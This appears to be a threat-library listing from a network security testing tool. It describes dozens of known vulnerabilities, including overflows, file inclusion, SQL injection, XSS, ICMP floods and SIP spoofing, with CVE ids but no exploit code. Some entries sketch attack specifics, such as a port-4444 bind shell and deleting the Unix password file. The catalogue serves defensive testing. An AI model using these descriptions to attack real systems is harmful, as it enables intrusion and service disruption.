Executive Description:	ImgSvr 0.6.5 (long http post) Denial of Service Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP POST command containing an excessively long buffer, this causes an overflow condition in ImgSvr which crashes the process. ImgSvr is a web server application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	apache_mod_rewrite.xml
Executive Description:	Apache Mod_Rewrite Off-By-One
Detailed Description:	This threat causes an off-by-one error in the mod_rewrite module of apache. This allows an attacker to run arbitrary code on some hardware platforms. Apache is a webserver that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3747
OSVDB:	27588
Threat Package:	Standard
Threat File Name:	joomla_rfi.xml
Executive Description:	Joomla Webring Component (component_dir) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url that exploits a failing in the Webring component which allows a malicious user to include commands in the context of the vulnerable web server. Joomla is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170314-33_Microsoft_Internet_Explorer_and_Edge_Blocksites.htm_Spoofing_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge Blocksites.htm Spoofing (IPv6 Version)
Detailed Description:	A website spoofing vulnerability exists in Microsoft Internet Explorer and Edge. This vulnerability is due to improper access restrictions in the ms-appx-web protocol when accessing the Blocksites.htm resource. A remote, unauthenticated attacker could exploit this vulnerability by redirecting the user to a specially crafted website. Successful exploitation could allow the attacker to serve spoofed contents.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-0033
Threat File Name:	nmapTimestamp.xml
Executive Description:	nmap Timestamp Scan
Detailed Description:	This threat mimics the behaviour of nmap when performing a scan using the ping by timestamp option.
Protocol Type:	ICMP
CVEID:	CVE-1999-0454
Threat Package:	Standard
Threat File Name:	TSL20120730-01_Oracle_Outside_In_JPEG_2000_QCD_Segment_Processing_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In JPEG 2000 QCD Segment Processing Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling the QCD segments in JPEG 2000 files. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed JPEG 2000 file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,FTP
CVEID:	CVE-2012-1769
Threat File Name:	nivisec_b_rfi_IPv6.xml
Executive Description:	Nivisec Admin Topic Action Logging Module Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Nivisec is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5223
Threat Package:	Standard
Threat File Name:	TSL20140724-09_MIT_Kerberos_5_SPNEGO_Acceptor_acc_ctx_cont_Denial_of_Service.xml
Executive Description:	MIT Kerberos 5 SPNEGO Acceptor acc_ctx_cont Denial of Service
Detailed Description:	A denial-of-service vulnerability exists in the MIT Kerberos 5. The vulnerability is due to a NULL pointer dereference in acc_ctx_cont() in SPNEGO Acceptor for continuation tokens. A remote, unauthenticated attacker can exploit this vulnerability by sending an empty token as the second or later context token during SPNEGO negotiation, causing the vulnerable application using the Kerberos library to terminate effecting a denial-of-service condition. Tester should turn variable \$destPort into 1234 before test.
Protocol Type:	GSSAPI-SPNEGO
CVEID:	CVE-2014-4344
OSVDB:	109389
Threat File Name:	FSC20110310-06_Apple_Safari_WebKit_Range_Object_Remote_Code_Execution.xml
Executive Description:	Apple Safari WebKit Range Object Remote Code Execution

Detailed Description:	A memory corruption vulnerability exists in Apple Safari WebKit. The vulnerability is due to an error while parsing a range object within the Document Object Model. The vulnerable code does not account for DOM manipulation by event listeners. A remote, unauthenticated attacker can exploit this vulnerability by enticing an unsuspecting user to access a maliciously crafted web page. This can lead to code execution in the context of the current user. Where code execution is not successful, the application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-0115
Threat File Name:	TSL20100810-27_Microsoft_Office_Excel_Pivot_Item_Index_Boundary_Error_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Excel Pivot Item Index Boundary Error Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office Excel. The vulnerability is due to improper parsing of a malformed Excel file. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack scenario where arbitrary code is successfully injected and executed on the target machine the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-2562
OSVDB:	66991
Threat File Name:	FSC20091013-11_Microsoft_Internet_Explorer_Deflate_Encoding_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Deflate Encoding Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles certain data stream headers. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user; additionally, the behaviour of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1547
Threat Package:	Standard
Threat File Name:	x86NOOPudp3_IPv6.xml
Executive Description:	UDP x86 NOOP Variant 3 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140805-01_Google_Chrome_locationAttributeSetter_Use_After_Free_IPv6.xml
Executive Description:	Google Chrome locationAttributeSetter Use After Free IPv6 Version
Detailed Description:	A use after free vulnerability exists in Google Chrome. The vulnerability is due to an error in the locationAttributeSetter binding, which can be invoked through the document.location object. This vulnerability was reported by VUPEN as part of the Pwn2Own contest. A remote attacker could exploit this vulnerability by enticing a user to open a crafted web page. Successful exploitation could result in code execution in the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2014-1713
OSVDB:	104501
Threat File Name:	sipvoicemailoff_IPv6.xml
Executive Description:	SIP Voicemail Off Alert (IPv6 Version)
Detailed Description:	This threat sends out a SIP message to a phone informing it that it has no voicemail. Sending this threat to a large number of phones at once can cause people to not notice their voicemail messages and overwhelm tech support. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	shockwave10_activex_dos_b.xml
Executive Description:	Macromedia 10.1.4.20 SwDir.dll Internet Explorer Stack Overflow Denial of Service Vulnerability #2
Detailed Description:	This threat leverages a flaw in the SWDIR.DLL ActiveX Control that will lead to a denial of service (IE 7 crash). Macromedia Shockwave SWDIR.DLL ActiveX Control is a component of Internet Explorer, a web browser that connects to web servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6885
Threat Package:	Standard
Threat File Name:	firefox_dos_IPv6.xml
Executive Description:	Mozilla Firefox NULL Pointer Dereference DoS (IPv6 Version)
Detailed Description:	This server based threat sends a normal, unmanaged HTML document which causes a NULL pointer dereference in the Firefox web browser. This threat is delivered via HTTP which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	FSC20101229-01_Microsoft_Windows_Fax_Services_Cover_Page_Editor_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Fax Services Cover Page Editor Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Microsoft Windows Fax Services. The vulnerability is due to insufficient validation of a drawing object data while parsing Microsoft Fax cover page files. Remote attackers could exploit this vulnerability by enticing the target user to open a specially crafted Fax cover page file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.

Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
----------------	---

Threat File Name:	sphpBlog_delete_IPv6.xml
Executive Description:	Simple PHP Blog Arbitrary File Deletion (IPv6 Version)
Detailed Description:	This threat attempts to delete the Unix password file through a flaw in the Simple PHP Blog web application. This flaw allows an attacker to specify any file on the target for deletion, which can lead to other remote system compromises. This threat affects a web application, which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2787
OSVDB:	19070
Threat Package:	Standard

Threat File Name:	TSL20110510-01_Microsoft_PowerPoint_OfficeArtClientData_Container_Remote_Code_Execution.xml
Executive Description:	Microsoft PowerPoint OfficeArtClientData Container Remote Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft PowerPoint. The vulnerability is due to memory corruption while processing PowerPoint files that contain a specially crafted OfficeArtClientData container. Remote attackers can exploit this vulnerability by enticing target users to open a malicious PowerPoint file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1270

Threat File Name:	FSC20090121-23_Apple_QuickTime_STSD_JPEG_Atom_Heap_Corruption.xml
Executive Description:	Apple QuickTime STSD JPEG Atom Heap Corruption
Detailed Description:	There exists a heap buffer memory corruption vulnerability in Apple QuickTime. The vulnerability is due to lack of boundary checks while processing the JPEG atoms embedded in the STSD atom in QuickTime movie files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QuickTime movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0007
Threat Package:	Standard

Threat File Name:	ms06-005_IPv6.xml
Executive Description:	Windows Media Player Malformed Bitmap (IPv6 Version)
Detailed Description:	This threat sends a malformed bitmap with a 'pointer' record set to 0. This calls a memory allocation fault, which can lead to code execution. The payload crafted in this particular threat causes a shell to bind on port 4444 if the payload executes successfully. If the allocation fault does not occur on the right boundary then a crash will normally occur in Windows Media Player. Windows Media Player is a client application. This threat would typically come from a malicious webserver, as emulated here, over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0006
OSVDB:	23131
Threat Package:	Standard

Threat File Name:	gopher_client_bof_IPv6.xml
Executive Description:	UMN Gopher Client Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the Gopher client application. This can allow a user to cause remote code execution on the client machine. Gopher typically listens on port 70. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	Gopher/IPv6
CVEID:	CVE-2005-2772
OSVDB:	19082
Threat Package:	Standard

Threat File Name:	TSL20170127-06_OpenSSL_DHE_and_ECDHE_Parameters_NULL_Pointer_Dereference.xml
Executive Description:	OpenSSL DHE and ECDHE Parameters NULL Pointer Dereference
Detailed Description:	A NULL pointer dereference vulnerability exists in OpenSSL. This vulnerability is due to the way crafted DHE and ECDHE parameters are handled by an OpenSSL client application during TLS handshake. A remote attacker could exploit this vulnerability in an OpenSSL client application (which may be a server application), by sending crafted DHE or ECDHE parameters during TLS handshake. Successful exploitation results in a denial of service condition on the affected service.
Protocol Type:	TLS, DTLS, HTTPS, SMTP, SMTPS, SIPS
CVEID:	CVE-2017-3730

Threat File Name:	FSC20070329-02_Microsoft_Windows_Crafted_Animated_Cursor_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Crafted Animated Cursor Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack-based buffer overflow in Microsoft Windows. The vulnerability is due to insufficient format validation while handling malformed ANI (Animated Cursor) files. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious email message or visit a malicious website using Internet Explorer. Successful exploitation would allow for arbitrary code execution with the privileges of the currently logged-in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0038
Threat Package:	Standard

Threat File Name:	bsmtp_inject_IPv6.xml
Executive Description:	BSMTDP Command Injection (IPv6 Version)
Detailed Description:	This threat takes advantage of a command injection flaw in Debian's bsmtpd batch mailer program. This allows a user to specify shell characters to run an arbitrary program in the context of the daemon. This threat takes advantage of an SMTP mailer, which typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-0107

OSVDB:	14246
Threat Package:	Standard
Threat File Name:	smb_trans2.xml
Executive Description:	Samba Trans2 Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the Samba daemon. Samba is used to provide Windows based File sharing capabilities on Unix machines. This threat would typically be directed at port 139.
Protocol Type:	NETBIOS_SS
CVEID:	CVE-2003-0201
OSVDB:	11983
Threat Package:	Standard
Threat File Name:	FSC20060706-06_Microsoft_Excel_for_Asian_Languages_Style_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Excel for Asian Languages Style Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in numerous versions of Microsoft Excel. The flaw is caused by insufficient checks when handling the Style record of the document, resulting in a stack buffer overflow. An attacker can leverage this vulnerability by enticing a user to open a crafted Excel Spreadsheet document, thereby injecting and executing arbitrary code. The vendor has released an updated security bulletin addressing this issue in the 2006 October patch release cycle. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3431
Threat Package:	Standard
Threat File Name:	icmpNetmask_IPv6.xml
Executive Description:	ICMP Netmask Flood (IPv6 Version)
Detailed Description:	The remote host will reply to an ICMP netmask request with the netmask of the network. By falsifying the source of the request and flooding the target a denial of service for legitimate users can take place through resource exhaustion. An alternate usage of this threat would be for a remote user who can use this information to gain insight into the routing configuration of the targeted network. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-1999-0524
OSVDB:	95
Threat Package:	Standard
Threat File Name:	FSC20090204-19_Squid_HTTP_Version_Number_Parsing_Denial_of_Service.xml
Executive Description:	Squid HTTP Version Number Parsing Denial of Service
Detailed Description:	There exists a denial of service vulnerability in the way Squid handles HTTP version number. The vulnerability is due to inappropriate parsing the version number when processing malformed HTTP requests. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted HTTP request packets to an affected system. Successful exploitation may cause the service to terminate. Upon receiving a crafted HTTP request message, the Squid proxy server will terminate and reset all established connections. However, the Squid monitor process will re-spawn the worker process automatically which restores the proxy services. If the attack is launched continuously, the target Squid proxy may be put into a lasting denial-of-service condition.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20140327-07_LibYAML_Scanner_yaml_parser_scan_uri_escapes_Heap_Buffer_Overflow.xml
Executive Description:	LibYAML Scanner yaml_parser_scan_uri_escapes Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in LibYAML's scanner, a component of LibYAML's reading and parsing functions. This vulnerability is due to insufficient validation of percent encoded text in the URI of tags within YAML documents. A remote unauthenticated attacker can exploit this vulnerability by providing a specially crafted YAML document. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2014-2525
OSVDB:	105027
Threat File Name:	FSC20060217-04_Microsoft_Internet_Explorer_Script_Engine_Stack_Exhaustion_IPv6.xml
Executive Description:	Microsoft Internet Explorer Script Engine Stack Exhaustion (IPv6 Version)
Detailed Description:	A stack exhaustion vulnerability exists in the Microsoft Internet Explorer Script Engine. The flaw is caused by certain types of recursive function calls in Javascript code. An attacker can exploit this vulnerability to cause a denial of service condition of the vulnerable application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0753
Threat Package:	Standard
Threat File Name:	theIncluder_IPv6.xml
Executive Description:	The Includer Arbitrary Command Injection (IPv6 Version)
Detailed Description:	This threat attempts to execute an arbitrary command through a common CGI script that is free for download. This can allow an attacker to execute any command on the system in the context of the webserver. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0931
Threat Package:	Standard
Threat File Name:	TSL20140327-07_LibYAML_Scanner_yaml_parser_scan_uri_escapes_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	LibYAML Scanner yaml_parser_scan_uri_escapes Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in LibYAML's scanner, a component of LibYAML's reading and parsing functions. This vulnerability is due to insufficient validation of percent encoded text in the URI of tags within YAML documents. A remote unauthenticated attacker can exploit this vulnerability by providing a specially crafted YAML document. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,IPv6
CVEID:	CVE-2014-2525
OSVDB:	105027

Threat File Name:	TSL20130813-12_Microsoft_Internet_Explorer_EUC-JP_Character_Encoding_Universal_Cross_Site_Scripting.xml
Executive Description:	Microsoft Internet Explorer EUC-JP Character Encoding Universal Cross Site Scripting
Detailed Description:	A universal cross site scripting vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way that IE handles EUC-JP character encoding. A remote attacker could exploit this vulnerability by submitting specially crafted HTML code into a target web site that uses EUC-JP character encoding, such as a web forum or social networking site. In the case of successful exploitation, arbitrary attacker code would run in the target users' browsers in the security context of the affected web site.
Protocol Type:	HTTPS,HTTP
CVEID:	CVE-2013-3192
OSVDB:	96192
Threat File Name:	msie6_href_dos_IPv6.xml
Executive Description:	Microsoft Internet Explorer Href Title Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious HTTP server reply to cause a denial-of-service condition in a MSIE 6 because of an error in processing an HTML 'href' tag with a very large title. Microsoft Internet Explorer 6 is a web browser that typically connects to a web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150909-14_Advantech_WebAccess_AspVCObj_AspDataDriven_ActiveX_ConvToSafeArray_Stack_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX ConvToSafeArray Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument to ConvToSafeArray() in the AspVCObj.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS
Threat File Name:	FSC20101101-03_Apple_CUPS_IPP_Use-after-free_Memory_Corruption_IPv6.xml
Executive Description:	Apple CUPS IPP Use-after-free Memory Corruption (IPv6 Version)
Detailed Description:	A use-after-free memory corruption vulnerability exists in the implementation of Internet Printing Protocol (IPP) of the Common Unix Printing System (CUPS). This vulnerability is caused by improper handling of memory allocations and deallocations for multiple-valued attributes that have their values typed differently. A remote attacker can exploit this vulnerability by specially crafting a request to a CUPS server using the IPP protocol. Successful exploitation can result in execution of arbitrary code in the security context of the CUPS process or daemon, unsuccessful exploitation may result in a denial of service.
Protocol Type:	IPV6,IPP
CVEID:	CVE-2010-2941
Threat File Name:	http_doubleslash_IPv6.xml
Executive Description:	HTTP Double Slash (IPv6 Version)
Detailed Description:	This threat attempts to crash a web server by sending out a malicious GET request for a URL consisting of only two slashes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	oracle_reports_xss_IPv6.xml
Executive Description:	Oracle Reports Server XSS Attempt (IPv6 Version)
Detailed Description:	This threat represents an attempt to cause a cross-site scripting attack on Oracle Reports 10g. This can be used to gain user credentials and other sensitive user data. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0873
OSVDB:	15050
Threat Package:	Standard
Threat File Name:	TSL20170112-10_ISC_BIND_ANY_Query_Response_Assertion_Failure_Denial_of_Service.xml
Executive Description:	ISC BIND ANY Query Response Assertion Failure Denial of Service
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause named service to exit with an assertion failure while processing a crafted DNS response packet for an ANY query. A remote, unauthenticated attacker could exploit this vulnerability by providing a specially crafted response to the vulnerable server. Successful exploitation could lead to denial-of-service condition.
Protocol Type:	DNS
CVEID:	CVE-2016-9131
Threat File Name:	phpbb_sqli.xml
Executive Description:	All Topics phpBB module SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted HTTP get request that contains malicious SQL commands to the affected server allowing for an attacker to change user and password data. All Topics is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20080725-07_RealNetworks_RealPlayer_SWF_Frame_Handling_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer SWF Frame Handling Buffer Overflow

Detailed Description:	There exists a heap buffer overflow vulnerability in the RealNetworks RealPlayer product. The vulnerability is due to a design error within the handling of frames in Shockwave Flash (SWF) files. A remote attacker can exploit this vulnerability to create a heap overflow condition in the target application. Successful exploitation could lead to arbitrary code execution with the privileges of the currently logged in user. In an attack attempt which results in successful code execution, the process flow of the vulnerable application will be diverted to attacker supplied code. The result of such an attack is entirely dependent on the purpose of the injected code. In an unsuccessful attack attempt, the affected application will terminate as a result of memory corruption.
Protocol Type:	IMAP,HTTP,HTTPS,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2007-5400
Threat File Name:	TSL20170120-06_Brocade_Network_Advisor_CliMonitorReportServlet_FILENAME_Directory_Traversal_IPv6.xml
Executive Description:	Brocade Network Advisor CliMonitorReportServlet FILENAME Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerabilities exists in Brocade Network Advisor. The vulnerability is due to lack of authentication and insufficient input validation in the CliMonitorReportServlet of inmservlets.war when processing HTTP requests with FILENAME parameter. A remote, unauthenticated attacker can exploit this vulnerability by sending a request with a crafted URL to the target server. Successful exploitation would allow an attacker to view sensitive information under the context of SYSTEM.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-8207
Threat File Name:	leadtools_remote_overwrite.xml
Executive Description:	LeadTools Raster Variant Object Library (LTRVR14e.dll v. 14.5.0.44) Remote Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat demonstrates a flaw in the LeadTools Raster Image SDK ActiveX application, that results in the overwriting of arbitrary files. This threat is delivered via a malicious web page, accessible via port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	programchecker_activex_fillmethod.xml
Executive Description:	Zenturi ProgramChecker ActiveX Control Fill Method Stack Based Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the ProgramChecker ActiveX application, resulting in the execution arbitrary code. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3703
Threat Package:	Standard
Threat File Name:	ms06-032-dos.xml
Executive Description:	Microsoft Windows TCP/IP Protocol Driver Remote Buffer Overflow Vulnerability (DoS POC)
Detailed Description:	This threat sends a crafted ICMP packet which causes a buffer overflow condition in the Windows TCP/IP Protocol driver, This threat is based on an early proof of concept based on the windows traceroute utility. This threat is ICMP based, and requires no port number.
Protocol Type:	ICMP
CVEID:	CVE-2006-2379
Threat Package:	Standard
Threat File Name:	audioCMS_rfi.xml
Executive Description:	audioCMS arash 0.1.4(arashlib_dir)Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AudioCMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	litespeed_xss_IPv6.xml
Executive Description:	LiteSpeed ConfMgr.php Cross-Site Scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. LiteSpeed Webserver is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3695
OSVDB:	20908
Threat Package:	Standard
Threat File Name:	TSL20150226-02_Eclipse_Foundation_Jetty_Web_Server_HttpParser_Remote_Information_Disclosure.xml
Executive Description:	Eclipse Foundation Jetty Web Server HttpParser Remote Information Disclosure.
Detailed Description:	An information disclosure vulnerability exists in Eclipse Foundation Jetty Web Server. The vulnerability is due to improper parsing of HTTP requests that can lead to information disclosure via HTTP responses from the server. A remote unauthenticated attacker can exploit this vulnerability by sending HTTP requests containing illegal characters within multiple fields to the vulnerable server. Successful exploitation of the vulnerability will result in disclosing information from the previous requests sent to the server. Tester should set variable \$destPort to 80 or 8080 before test.
Protocol Type:	HTTP
CVEID:	CVE-2015-2080
OSVDB:	118744
Threat File Name:	FSC20080403-03_Apple_QuickTime_Obji_Atom_Parsing_Stack_Buffer_Overflow.xml
Executive Description:	Apple QuickTime Objj Atom Parsing Stack Buffer Overflow

Detailed Description:	There exists a stack buffer overflow vulnerability in Apple QuickTime application. The vulnerability is due to improper processing of objects in QuickTime movie files. A remote attacker may exploit this vulnerability by providing a crafted QuickTime movie file to the target user, causing abnormal termination of the application or potentially causing arbitrary code to be injected and executed in the security context of the current user. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. In an attack case where code injection is not successful, the affected Apple QuickTime process will terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-1022
Threat Package:	Standard
Threat File Name:	efiction_xss_b_IPv6.xml
Executive Description:	eFiction XSS and SQL Insertion (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains Javascript which is included in the returned page, as well as an SQL statement that is executed by the server. eFiction is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4168
OSVDB:	21120
Threat File Name:	dagger_we_rfi.xml
Executive Description:	DAGGER Web Engine <= 23jan2007 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. DAGGER Web Engine is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3431
Threat Package:	Standard
Threat File Name:	TSL20121101-05_SafeNet_HASP_SL_ActiveX_Control_ChooseFilePath_Buffer_Overflow_IPv6.xml
Executive Description:	SafeNet HASP SL ActiveX Control ChooseFilePath Buffer Overflow(IPV6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in SafeNet HASP SL's ActiveX control. The vulnerability is due to insufficient input validation while handling parameters to the ChooseFilePath() function. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to access a malicious web site. This can lead to code execution in the context of the affected user.
Protocol Type:	IPV6,HTTP,HTTPS
OSVDB:	86723
Threat File Name:	FloodICMPreq_IPv6.xml
Executive Description:	ICMP Echo Request Flood (IPv6 Version)
Detailed Description:	This threat allows you to simulate an ICMP echo request flood (Ping flood). You can specify the source address range and target address with this attack. This is a very standard attack that can be done with utilities such as ping and can either cause a denial of service or crash older machines. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-2000-0292
OSVDB:	1291
Threat Package:	Standard
Threat File Name:	FSC20060207-07_Linux_Kernel_ICMP_Packet_Handling_Denial_of_Service_Vulnerability_IPv6.xml
Executive Description:	Linux Kernel ICMP Packet Handling Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in the Linux 2.6 Kernel. The flaw is caused by the IP stack component which generates an ICMP response messages. By sending a crafted IP packet to the target host, a remote attacker may exploit this vulnerability to cause a system wide denial of service condition. (IPv6 Version)
Protocol Type:	ICMP/IPv6
CVEID:	CVE-2006-0454
Threat Package:	Standard
Threat File Name:	sipsmimesigned_IPv6.xml
Executive Description:	SIPPING: S/MIME Signed Message (IPv6 Version)
Detailed Description:	This threat sends out a S/MIME signed SIP message. Because the signature contains binary data, including null characters, this may confuse or crash a SIP implementation even though it is legal. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20130610-01_IBM_Lotus_Quickr_qp2_cab_ActiveX_Control_Integer_Overflow.xml
Executive Description:	IBM Lotus Quickr qp2.cab ActiveX Control Integer Overflow
Detailed Description:	A buffer overflow vulnerability exists in IBM Lotus Quickr for Domino. The vulnerability is due to an integer overflow within the qp2.cab ActiveX control. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3026
OSVDB:	94068
Threat File Name:	FSC20080116-02_Microsoft_Excel_File_Handling_Code_Execution_Vulnerability.xml
Executive Description:	Microsoft Excel File Handling Code Execution Vulnerability
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel. The vulnerability is a due to improper parsing of the rtAFDesc record of Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	
CVEID:	CVE-2008-0081
Threat Package:	Standard
Threat File Name:	TSL20121207-01_Sophos_Anti-Virus_RAR_VMSF_DELTA_Filter_Signedness_Error_IPv6.xml
Executive Description:	Sophos Anti-Virus RAR VMSF_DELTA Filter Signedness Error(IPV6 version)

